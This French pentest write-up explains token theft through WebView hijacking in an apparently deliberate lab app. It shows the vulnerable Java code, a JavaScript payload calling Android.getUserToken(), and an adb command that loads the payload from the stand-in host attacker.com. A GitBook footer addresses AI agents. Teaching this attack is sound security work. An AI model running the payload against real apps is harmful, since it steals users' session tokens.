> For the complete documentation index, see [llms.txt](https://blog.s1rn3tz.ovh/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://blog.s1rn3tz.ovh/pentest-mobile/android/webview-vulns/webview-hijacking/vol-de-token.md).

# Vol de token

## Reconnaissance

### Code vulnérable

{% code lineNumbers="true" %}

```java
   public void loadWebView() {
        WebView webView = (WebView) findViewById(R.id.webview2);
        webView.setWebChromeClient(new WebChromeClient());
        webView.setWebViewClient(new WebViewClient());
        webView.getSettings().setJavaScriptEnabled(true);
        Map<String, String> extraHeaders = new HashMap<>();
        extraHeaders.put("Authorization", getUserToken());
        webView.addJavascriptInterface(new WebAppInterface(this), "Android");
        webView.loadUrl(getIntent().getStringExtra("support_url"), extraHeaders);
    }
```

{% endcode %}

#### Déclaration de l'interface

```java
package com.tmh.vulnwebview;

import android.content.Context;
import android.webkit.JavascriptInterface;

/* loaded from: classes.dex */
public class WebAppInterface {
    Context mContext;

    /* JADX INFO: Access modifiers changed from: package-private */
    public WebAppInterface(Context c) {
        this.mContext = c;
    }

    @JavascriptInterface
    public String getUserToken() {
        return SupportWebView.getUserToken();
    }
}
```

Cette vulnérabilité est en fait lié à celle vue précèdemment. En effet, on peut voir que le javascript a préalablement été activé via la commande `webView.getSettings().setJavaScriptEnabled(true);` (ligne 5), qu'un header "Authorization" est généré avec le token de l'utilisateur (ligne 7) puis qu'une interface nommée "Android" a été ajouté (ligne 8).

Enfin, on constate que la clé "support\_url" est utilisée pour accéder à la page de support, page de support ayant dans ses en-têtes le token à voler.

## Exploitation

Tout comme pour la vulnérabilité vue précèdemment, il nous est possible d'injecter du code javascript dans la fonction. Il nous est donc possible de créer un simple script pour récupérer le token en appelant la fonction "getUserToken()" qui est utilisée dans la déclaration de l'interface du code vunérable.

### Charge utile

```javascript
<script>
document.write("token: " + Android.getUserToken());
</script>
```

### Etapes

* Création de la charge utile .html
* Hébergement sur le serveur web attaquant
* Commande adb

```bash
adb shell am start \
  -n com.tmh.vulnwebview/com.tmh.vulnwebview.SupportWebView \
  --es support_url "https://attacker.com/tokenstealer.html"
```

<figure><img src="/files/ZJd84NMEbtoidMVyemUV" alt=""><figcaption><p>Résultat de l'attaque</p></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://blog.s1rn3tz.ovh/pentest-mobile/android/webview-vulns/webview-hijacking/vol-de-token.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
